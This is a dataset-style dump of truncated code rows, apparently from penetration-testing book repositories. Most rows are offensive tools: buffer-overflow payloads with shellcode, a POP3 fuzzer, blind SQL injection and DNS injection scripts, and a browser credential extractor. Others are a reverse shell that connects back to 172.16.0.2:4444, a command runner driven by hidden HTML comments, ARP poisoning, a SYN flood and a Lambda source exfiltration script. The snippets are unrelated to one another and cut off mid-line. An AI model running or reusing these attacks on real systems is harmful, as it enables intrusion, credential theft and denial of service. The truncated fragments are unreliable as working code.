repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
Python-Penetration-Testing-for-Developers | import screenshot
import requests
portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489]
IP = '127.0.0.1'
http = 'http://'
https = 'https://'
def testAndSave(protocol, portNumber):
url = protocol + IP + ':' + str(portNumber)
try:
r = requests.get(url,timeout=1)
... | 22.259259 | 84 | 0.588517 |
Python-Penetration-Testing-for-Developers | import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
class Screenshot(QWebView):
def __init__(self):
self.app = QApplication(sys.argv)
QWebView.__init__(self)
self._loaded = False
self.loadFinished.connect(self._loadFinished)
... | 25 | 72 | 0.609082 |
Mastering-Machine-Learning-for-Penetration-Testing | import pandas
import numpy
from sklearn.feature_selection import SelectKBest
from sklearn.feature_selection import chi2
# load data
url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv"
names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class']
datafram... | 30.142857 | 98 | 0.738132 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/python
# -*- coding: utf-8 -*-
import hashlib
message = raw_input("Enter the string you would like to hash: ")
md5 = hashlib.md5(message)
md5 = md5.hexdigest()
sha1 = hashlib.sha1(message)
sha1 = sha1.hexdigest()
sha256 = hashlib.sha256(message)
sha256 = sha256.hexdigest()
sha512 = hashlib.sha512(messag... | 20 | 64 | 0.701245 |
Hands-On-Penetration-Testing-with-Python | """Logger module for XTreme Project"""
import time
class Logger(object):
"""Logger class for logging every important event in the discovery process"""
def __init__(self, write_to_file = False):
self.file_write = write_to_file
def log(self, string, Type, REPORT_FILE=None):
if... | 29.857143 | 88 | 0.534183 |
owtf | """
owtf.managers.plugin
~~~~~~~~~~~~~~~~~~~~
This module manages the plugins and their dependencies
"""
import imp
import json
import os
from owtf.models.plugin import Plugin
from owtf.models.test_group import TestGroup
from owtf.settings import PLUGINS_DIR
from owtf.utils.error import abort_framework
from owtf.utils... | 32.777778 | 92 | 0.58899 |
Python-Penetration-Testing-for-Developers | import sys
import os
import nmap
with open("./nmap_output.xml", "r") as fd:
content = fd.read()
nm.analyse_nmap_xml_scan(content)
print(nm.csv()) | 19.375 | 42 | 0.635802 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
payload_length = 424
## Amount of nops
nop_length = 100
#0x7fffffffddf0
#0x7fffffffded0:
#return_address = '\xf0\xdd\xff\xff\xff\x7f\x00\x00'
return_address = '\xd0\xde\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf = ""
buf += "... | 36.206897 | 72 | 0.690167 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "B"*4 +"C"*90
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send... | 18.259259 | 54 | 0.576108 |
PenTestScripts | #!/usr/bin/env python
# by Chris Truncer
# Script to attempt to forge a packet that will inject a new value
# for a dns record. Check nessus plugin #35372
# Some great documentation and sample code came from:
# http://bb.secdev.org/scapy/src/46e0b3e619547631d704c133a0247cf4683c0784/scapy/layers/dns.py
import argpar... | 31.737589 | 93 | 0.599783 |
cybersecurity-penetration-testing | import requests
import sys
url = sys.argv[1]
yes = sys.argv[2]
answer = []
i = 1
asciivalue = 1
letterss = []
print "Kicking off the attempt"
payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}
while True:
req = requests.post(url, data=payload)
lengthtest = req.text
if yes i... | 20.69697 | 112 | 0.653147 |
cybersecurity-penetration-testing | import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime
filename = 'hbot.pcap'
full_datetime_list = []
dates = []
for ts, pkt in dpkt.pcap.Reader(open(filename,'rb')):
eth=dpkt.ethernet.Ethernet(pkt)
if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
continue
... | 18.96 | 76 | 0.608826 |
cybersecurity-penetration-testing |
import datetime
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20150815'
__version__ = '0.01'
__description__ = "Convert unix formatted timestamps (seconds since Epoch [1970-01-01 00:00:00]) to human readable"
def main():
unix_ts = int(raw_input('Unix timestamp to convert:\n>> '))
print unix_conver... | 26.421053 | 115 | 0.653846 |
cybersecurity-penetration-testing | # Simple Substitution Keyword Cipher
# http://inventwithpython.com/hacking (BSD Licensed)
import pyperclip, simpleSubCipher
def main():
myMessage = r"""Your cover is blown."""
myKey = 'alphanumeric'
myMode = 'encrypt' # set to 'encrypt' or 'decrypt'
print('The key used is:')
print(ma... | 25.461538 | 60 | 0.639273 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import sqlite3, sys, glob, shutil, json, time, hashlib
from base64 import b64decode
from os import path, walk,makedirs,remove
from ctypes import (Structure, c_uint, c_void_p, c_ubyte,c_char_p, CDLL, cast,byref,string_at)
from datetime import datetime
from subprocess import... | 42.130894 | 974 | 0.561847 |
cybersecurity-penetration-testing | # Volatility
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will ... | 40.2625 | 118 | 0.58697 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import os
import sys
def retBanner(ip, port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip, port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner, filename)... | 21.37931 | 50 | 0.474942 |
cybersecurity-penetration-testing | import socket
import sys, os, signal
sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)
sniff.bind(("mon0", 0x0003))
ap_list =[]
while True :
fm1 = sniff.recvfrom(6000)
fm= fm1[0]
if fm[26] == "\x80" :
if fm[36:42] not in ap_list:
ap_list.append(fm[36:42])
a = ord(fm[63])
print "SSID -> ",fm[64:... | 23.058824 | 60 | 0.590686 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
from scapy.all import *
interface = 'mon0'
hiddenNets = []
unhiddenNets = []
def sniffDot11(p):
if p.haslayer(Dot11ProbeResp):
addr2 = p.getlayer(Dot11).addr2
if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
netName = p.... | 25.0625 | 63 | 0.563025 |
thieves-tools | from setuptools import setup, find_packages
# pip install --editable .
setup(
name='thieves-tools',
author='Drake Axelrod',
description='Information about useful pen-testing tools in addition to any reusable scripts I myself have written',
version='0.0.1',
packages=find_packages(),
include_pac... | 23.12 | 119 | 0.60299 |
Effective-Python-Penetration-Testing | from Crypto.Cipher import AES
import os, random, struct
def decrypt_file(key, filename, chunk_size=24*1024):
output_filename = os.path.splitext(filename)[0]
with open(filename, 'rb') as infile:
origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
... | 31.636364 | 76 | 0.594142 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCrossSiteScripting")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28.181818 | 75 | 0.784375 |
owtf | """
SEMI-PASSIVE Plugin for Testing for HTTP Methods and XST (OWASP-CM-008)
"""
from owtf.managers.resource import get_resources
from owtf.managers.target import get_targets_as_list
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Normal request for HTTP methods analysis"
def run(PluginInfo):
resource... | 29.904762 | 71 | 0.719136 |
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E | #!/usr/bin/env python3
#
# Credits to - https://github.com/dmaasland/proxyshell-poc
import argparse
import random
import string
import requests
import sys
import xml.etree.ElementTree as ET
class ProxyShell:
def __init__(self, exchange_url, verify=False):
self.exchange_url = exchange_url if exchange_ur... | 25.272727 | 150 | 0.638975 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-10
# @File : vul_scanner.py
# @Desc : ""
import time
from flask import Blueprint, render_template, request, redirect, url_for, jsonify
from bson import ObjectId
from threading import Thread
from lib.mongo_db import connectiond... | 38.515982 | 112 | 0.566046 |
cybersecurity-penetration-testing | #!/usr/bin/env python
import mmap
import contextlib
import argparse
from xml.dom import minidom
from Evtx.Evtx import FileHeader
from Evtx.Views import evtx_file_xml_view
def main():
parser = argparse.ArgumentParser(description="Dump specific event ids from a binary EVTX file into XML.")
parser.add_argument(... | 41.323529 | 109 | 0.622392 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
from struct import *
buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)
| 28.5 | 140 | 0.676871 |
Python-Penetration-Testing-for-Developers | import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
class Screenshot(QWebView):
def __init__(self):
self.app = QApplication(sys.argv)
QWebView.__init__(self)
self._loaded = False
self.loadFinished.connect(self._loadFinished)
... | 25 | 72 | 0.609082 |
cybersecurity-penetration-testing | import requests
import re
from bs4 import BeautifulSoup
import sys
if len(sys.argv) !=2:
print "usage: %s targeturl" % (sys.argv[0])
sys.exit(0)
urls = []
tarurl = sys.argv[1]
url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments... | 22.657895 | 49 | 0.58686 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
l1=[1,2,3,4]
l2=[5,6]
sq_even=[x**2 for x in l1 if x%2 ==0]
l_sum=[x+y for x in l1 for y in l2]
sq_values=[{x:x**2} for x in l1]
print("Even squares : " +str(sq_even))
print("Sum nested Loop : " +str(l_sum))
print("Squares Dict : " +str(sq_values))
| 23.727273 | 40 | 0.601476 |
cybersecurity-penetration-testing | import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
encrypted = """XxfaX7nfQ48K+l0rXM3tQf3ShFcytAQ4sLe6vn8bWdreho4riaJ5Dy5PeijSKbsgWSMoeZLmihxb0YAFgCaIp11AUl4kmIiY+c+8LJonbTTembxv98GePM1SEme5/vMwGORJilw+rTdORSHzwbC56sw5NG8KosgLWwHEGEGbhii2qBkuyQrIc9ydoOKKCe0ofTRnaI2c/lb9Ot3... | 73.557692 | 1,726 | 0.925955 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'BlindProject'
db.create_table(u'xtreme_server_... | 64.259109 | 130 | 0.56955 |
Mastering-Machine-Learning-for-Penetration-Testing | from sklearn.svm import LinearSVC
from sklearn.datasets import load_iris
from sklearn.feature_selection import SelectFromModel
iris = load_iris()
X, y = iris.data, iris.target
X.shape
lsvc = LinearSVC(C=0.01, penalty="l1", dual=False).fit(X, y)
model = SelectFromModel(lsvc, prefit=True)
X_new = model.transform(X)
X_new... | 24.384615 | 60 | 0.759878 |
cybersecurity-penetration-testing | import xlsxwriter
from datetime import datetime
school_data = [['Computer Science', 235, 3.44, datetime(2015, 07, 23, 18, 00, 00)],
['Chemistry', 201, 3.26, datetime(2015, 07, 25, 9, 30, 00)],
['Forensics', 99, 3.8, datetime(2015, 07, 23, 9, 30, 00)],
['Astronomy', 115, 3.2... | 44 | 107 | 0.549847 |
cybersecurity-penetration-testing | # Vigenere Cipher Hacker
# http://inventwithpython.com/hacking (BSD Licensed)
import itertools, re
import vigenereCipher, pyperclip, freqAnalysis, detectEnglish
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
SILENT_MODE = False # if set to True, program doesn't print attempts
NUM_MOST_FREQ_LETTERS = 4 # attempts this... | 48.19305 | 2,052 | 0.660675 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Script intendend to sweep Cisco, Huawei and possibly other network devices
# configuration files in order to extract plain and cipher passwords out of them.
# Equipped with functionality to decrypt Cisco Type 7 passwords.
#
# Mariusz Banach, mgeeky '18-20
#
import re
import os
import sys
import... | 36.899142 | 204 | 0.549377 |
cybersecurity-penetration-testing | from immlib import *
class cc_hook(LogBpHook):
def __init__(self):
LogBpHook.__init__(self)
self.imm = Debugger()
def run(self,regs):
self.imm.log("%08x" % regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])
return
d... | 19.96875 | 55 | 0.552239 |
cybersecurity-penetration-testing | import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
class Screenshot(QWebView):
def __init__(self):
self.app = QApplication(sys.argv)
QWebView.__init__(self)
self._loaded = False
self.loadFinished.connect(self._loadFinished)
... | 25 | 72 | 0.609082 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# This script takes an input file containing Node names to be marked in Neo4j database as
# owned = True. The strategy for working with neo4j and Bloodhound becomes fruitful during
# complex Active Directory Security Review assessments or Red Teams. Imagine you've kerberoasted
# a number of acco... | 30.403101 | 119 | 0.597284 |
cybersecurity-penetration-testing | from subprocess import call
import chipwhisperer.capture.ChipWhispererCapture as cwc
from chipwhisperer.capture.scopes.ChipWhispererExtra import CWPLLDriver
import time
try:
from PySide.QtCore import *
from PySide.QtGui import *
except ImportError:
print "ERROR: PySide is required for this program"
sys... | 27.178295 | 83 | 0.679417 |
Python-Penetration-Testing-Cookbook | import urllib.request
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:
page = urllib.request.urlopen(url)
except Exception as e:
print(e)
pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(... | 23.727273 | 68 | 0.676074 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
owtf | """
owtf.proxy.socket_wrapper
~~~~~~~~~~~~~~~~~~~~~~~~~
"""
import ssl
from tornado import ioloop
from owtf.proxy.gen_cert import gen_signed_cert
def starttls(
socket,
domain,
ca_crt,
ca_key,
ca_pass,
certs_folder,
success=None,
failure=None,
io=None,
**options
):
"""Wrap... | 23.507576 | 94 | 0.56308 |
Penetration_Testing | '''
Netcat replacement in Python.
Suggestions:
* Run as Python script or as executable to suit your needs.
'''
import sys
import socket
import getopt
import threading
import subprocess
# Define global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ... | 20.663755 | 126 | 0.664315 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import pxssh
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
return s
except:
print '[-] Error Connecting'
... | 16.5 | 46 | 0.563246 |
cybersecurity-penetration-testing | import urllib
import urllib2
import threading
import Queue
threads = 50 # Be aware that a large number of threads can cause a denial of service!!!
target_url = "http://www.example.com"
wordlist_file = "directory-list.txt"
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/201... | 28.473684 | 101 | 0.513176 |
Python-Penetration-Testing-Cookbook |
from scapy.all import *
iface = "en0"
destination_ip = '192.168.1.5'
def synFlood(destination, iface):
print ("Starting SYN Flood")
paket=IP(dst=destination,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ans,unans=srloop(paket, iface=iface, inter=... | 26.222222 | 134 | 0.687117 |
cybersecurity-penetration-testing | import socket
from datetime import datetime
net= raw_input("Enter the IP address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1=en1+1
t1= datetime.now()
def scan(addr):
sock= socket.socket(socke... | 21.517241 | 55 | 0.673313 |
Python-Penetration-Testing-for-Developers | import requests
import re
import subprocess
import time
import os
while 1:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
for comment in comments:
if comment = " ":
os.delete(__file__)
else:
try:
response = subprocess.check_output(comment.split())
except:
... | 23.666667 | 99 | 0.667311 |
Python-Penetration-Testing-for-Developers | import re
import random
import urllib
url1 = raw_input("Enter the URL ")
u = chr(random.randint(97,122))
url2 = url1+u
http_r = urllib.urlopen(url2)
content= http_r.read()
flag =0
i=0
list1 = []
a_tag = "<*address>"
file_text = open("result.txt",'a')
while flag ==0:
if http_r.code == 404:
file_text.write("------... | 15.918367 | 46 | 0.603865 |
cybersecurity-penetration-testing | import requests
import re
from bs4 import BeautifulSoup
import sys
scripts = []
if len(sys.argv) != 2:
print "usage: %s url" % (sys.argv[0])
sys.exit(0)
tarurl = sys.argv[1]
url = requests.get(tarurl)
soup = BeautifulSoup(url.text)
for line in soup.find_all('script'):
newline = line.get('src')
scripts.append(new... | 20.642857 | 55 | 0.638767 |
Python-Penetration-Testing-Cookbook | #! /usr/bin/env python
from scapy.all import *
def parsePacket(pkt):
if ARP in pkt and pkt[ARP].op in (1,2):
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
sniff(prn=parsePacket, filter="arp", store=0)
| 19.181818 | 52 | 0.633484 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-07 23:03
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0003_nmapprofile'),
]
operations = [
migrations.AddField(
... | 21.863636 | 69 | 0.595618 |
Penetration-Testing-Study-Notes | #!/usr/bin/python2.7
# Copyright (c) 2003-2012 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# $Id: samrdump.py 592 2012-07-11 16:45:20Z bethus@gmail.com $
#
# Description: DC... | 33.596154 | 151 | 0.560806 |
PenetrationTestingScripts | #!/usr/bin/python
import sys
import struct
import socket
import select
import time
import threading
from printers import printPink,printRed
from multiprocessing.dummy import Pool
class ssl_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
... | 32.773973 | 136 | 0.495943 |
owtf | """
owtf.transactions.main
~~~~~~~~~~~~~~~~~~~~~~
Inbound Proxy Module developed by Bharadwaj Machiraju (blog.tunnelshade.in) as a part of Google Summer of Code 2013
"""
import glob
import logging
import os
import time
try: # PY3
from urllib.parse import urlparse
except ImportError: # PY2
from urlparse impor... | 37.80137 | 115 | 0.623588 |
cybersecurity-penetration-testing | import binascii
import logging
import os
import re
import struct
from collections import namedtuple
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = '''This scripts processes SQLite "Write Ahead Logs" and extracts database entries that may
contain deleted records... | 42.478006 | 151 | 0.567555 |
Hands-On-Penetration-Testing-with-Python | import requests
class Detect_HSTS():
def __init__(self,target):
self.target=target
def start(self):
try:
resp=requests.get(self.target)
headers=resp.headers
print ("\n\nHeaders set are : \n" )
for k,v in headers.iteritems():
print(k+":"+v)
if "Strict-Transport-Security" in headers.keys():
... | 19.37037 | 56 | 0.653916 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
buf = ""
buf += "\xda\xd8\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xc1\x30"
buf += "\xc9\xe4\x0e\x36\x32\x14\xcf\x57\xba\xf1\xfe\x57\xd8"
buf += "\x72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5"
buf += "\x5f\xcf\x01\xc8\x60\... | 41.898305 | 94 | 0.677075 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from printers import printPink,printGreen
from multiprocessing.dummy import Pool
import pymssql
class mssql_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
self.lines=self.config.file2list(... | 32.617647 | 127 | 0.514661 |
owtf | """
owtf.proxy.gen_cert
~~~~~~~~~~~~~~~~~~~
Inbound Proxy Module developed by Bharadwaj Machiraju (blog.tunnelshade.in) as a part of Google Summer of Code 2013
"""
import hashlib
import os
import re
from OpenSSL import crypto
from owtf.lib.filelock import FileLock
from owtf.utils.strings import utf8
def gen_signe... | 38.092784 | 115 | 0.5732 |
owtf | """
owtf.models.user_login_token
~~~~~~~~~~~~~~~~
"""
from sqlalchemy import Column, Integer, String, ForeignKey, DateTime, UniqueConstraint
from owtf.db.model_base import Model
import uuid
from datetime import datetime, timedelta
from owtf.settings import JWT_EXP_DELTA_SECONDS
from owtf.models.user import User
clas... | 31.5 | 92 | 0.66349 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
#0x7fffffffddc0
#0x7fffffffe120
#current 0x7fffffffdf80: 0xffffdfa0
#0x7fffffffdde0
#return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x0... | 31.65 | 72 | 0.710345 |
owtf | from owtf.config import config_handler
from owtf.plugin.params import plugin_params
from owtf.protocols.smb import SMB
DESCRIPTION = "Mounts and/or uploads/downloads files to an SMB share -i.e. for IDS testing-"
def run(PluginInfo):
Content = []
smb = SMB()
args = {
"Description": DESCRIPTION,
... | 37.205882 | 92 | 0.6302 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
import configparser
import os
import re
import smtplib
import sqlite3
import sys
import traceback
from email import encoders
from email.header import Header
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils ... | 39.090909 | 140 | 0.524663 |
cybersecurity-penetration-testing | import sys
if len(sys.argv) !=3:
print "usage: %s name.txt email suffix" % (sys.argv[0])
sys.exit(0)
for line in open(sys.argv[1]):
name = ''.join([c for c in line if c == " " or c.isalpha()])
tokens = name.lower().split()
fname = tokens[0]
lname = tokens[-1]
print fname +lname+sys.argv[2]
print lname+fname+sy... | 29.047619 | 61 | 0.660317 |
owtf | """
owtf.settings
~~~~~~~~~~~~~
It contains all the owtf global configs.
"""
import os
import re
try:
FileNotFoundError
except NameError:
FileNotFoundError = IOError
import yaml
HOME_DIR = os.path.expanduser("~")
OWTF_CONF = os.path.join(HOME_DIR, ".owtf")
ROOT_DIR = os.path.dirname(os.path.realpath(__file_... | 32.111111 | 114 | 0.682003 |
owtf | #!/usr/bin/env python
from six import iteritems
import os
import yaml
import yamlordereddictloader
BLUE = "\033[94m"
GREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
RESET = "\033[0m"
CURR_DIR = os.path.dirname(os.path.realpath(__file__))
OWTF_CONF = os.path.join(os.path.expanduser("~"), ".owtf")
with o... | 28.444444 | 119 | 0.649407 |
PenetrationTestingScripts | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from . import win32
# from wincon.h
class WinColor(object):
BLACK = 0
BLUE = 1
GREEN = 2
CYAN = 3
RED = 4
MAGENTA = 5
YELLOW = 6
GREY = 7
# from wincon.h
class WinStyle(object):
NORMAL ... | 37.595092 | 95 | 0.615262 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher S. Duffy
Date: March 2015
Name: username_generator.py
Purpose: To generate a username list from the US Census Top 1000 surnames and other lists
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without mo... | 43.00995 | 253 | 0.660373 |
owtf | """
owtf.lib.owtf_process
~~~~~~~~~~~~~~~~~~~~~
Consists of owtf process class and its manager
"""
from multiprocessing import Process, Queue
from owtf.db.session import get_scoped_session
from owtf.utils.error import setup_signal_handlers
from owtf.plugin.runner import runner
from owtf.utils.logger import OWTFLogger... | 27.123077 | 78 | 0.615764 |
cybersecurity-penetration-testing | import socket
import os
# host to listen on
host = "192.168.0.196"
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol... | 25.225806 | 75 | 0.698276 |
Python-Penetration-Testing-for-Developers | import os
import collections
import platform
import socket, subprocess,sys
import threading
from datetime import datetime
''' section 1 '''
net = raw_input("Enter the Network Address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_in... | 21.934211 | 60 | 0.660735 |
Python-Penetration-Testing-Cookbook | import pyshark
cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80')
cap.sniff(timeout=5)
for pkt in cap:
print(pkt.highest_layer) | 21.285714 | 75 | 0.748387 |
cybersecurity-penetration-testing | import socket
import subprocess
import sys
import time
HOST = '172.16.0.2' # Your attacking machine to connect back to
PORT = 4444 # The port your attacking machine is listening on
def connect((host, port)):
go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
go.connect((host, port))
... | 22.372093 | 72 | 0.563745 |
owtf | """
owtf.api.handlers.base
~~~~~~~~~~~~~~~~~~~~~~
"""
import json
import re
import uuid
from tornado.escape import url_escape
from tornado.web import RequestHandler
from owtf import __version__
from owtf.db.session import Session, get_db_engine
from owtf.lib.exceptions import APIError
from owtf.settings import (
... | 33.834783 | 117 | 0.613282 |
cybersecurity-penetration-testing | from scapy.all import *
import os
import sys
import threading
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000
poisoning = True
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
# slightly different method using send
print "[*] Rest... | 24.311321 | 107 | 0.653244 |
cybersecurity-penetration-testing | import os
import collections
import platform
import socket, subprocess,sys
import threading
from datetime import datetime
''' section 1 '''
net = raw_input("Enter the Network Address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_in... | 20.723684 | 60 | 0.653333 |
owtf | """
owtf.api.handlers.config
~~~~~~~~~~~~~~~~~~~~~~~~
"""
from owtf.api.handlers.base import APIRequestHandler
from owtf.lib import exceptions
from owtf.lib.exceptions import APIError
from owtf.managers.config import get_all_config_dicts, update_config_val
__all__ = ["ConfigurationHandler"]
class ConfigurationHandl... | 27.783505 | 76 | 0.505912 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: June 2015
Name: multi_threaded.py
Purpose: To identify live web applications with a list of IP addresses, using concurrent threads
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without mod... | 51.992958 | 165 | 0.604466 |
cybersecurity-penetration-testing | import zipfile
import os
from time import gmtime, strftime
from lxml import etree
import processors
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts parses embedded metadata from office files'
def officeParser(filename):
"""
The officeParse... | 38.686567 | 114 | 0.586797 |
cybersecurity-penetration-testing | #!/usr/bin/env python
#
# This script can be used to exfiltrate all of the AWS Lambda source files from
# $LAMBDA_TASK_ROOT (typically: /var/task) in a form of out-of-band http/s POST
# request. Such request will contain an `exfil` variable with urlencode(base64(zip_file)) in it.
# This zip file then will contain all... | 31.4 | 96 | 0.653416 |
Mastering-Machine-Learning-for-Penetration-Testing | from pandas import read_csv
from sklearn.feature_selection import RFE
from sklearn.linear_model import LogisticRegression
# load data
url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv"
names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class']
datafr... | 34.277778 | 98 | 0.712934 |
cybersecurity-penetration-testing | __author__ = 'Preston Miller & Chapin Bryce'
__version__ = '20150822'
__date__ = '0.01'
import urllib
import ast
class IPtoGeo(object):
def __init__(self, ip_address):
# Initialize objects to store
self.latitude = ''
self.longitude = ''
self.country = ''
self.city = ''
... | 26.025 | 116 | 0.575926 |
Python-Penetration-Testing-for-Developers | #Linear Conruential Generator reverse from known mod, multiplier and increment + final 2 chars of each random value
#Replace hardcode numbers with known numbers
print "Starting attempt to brute"
for i in range(100000, 99999999):
a = str((1664525 * int(str(i)+'00') + 1013904223) % 2**31)
if a[-2:] == "47":
b = str... | 38.060606 | 115 | 0.51087 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import json
import urllib
from anonBrowser import *
class reconPerson:
def __init__(self,first_name,last_name,\
job='',social_media={}):
self.first_name = first_name
self.last_name = last_name
self.job = job
self.social_media = social... | 26.382979 | 62 | 0.581649 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
PenTesting | from hashlib import sha1
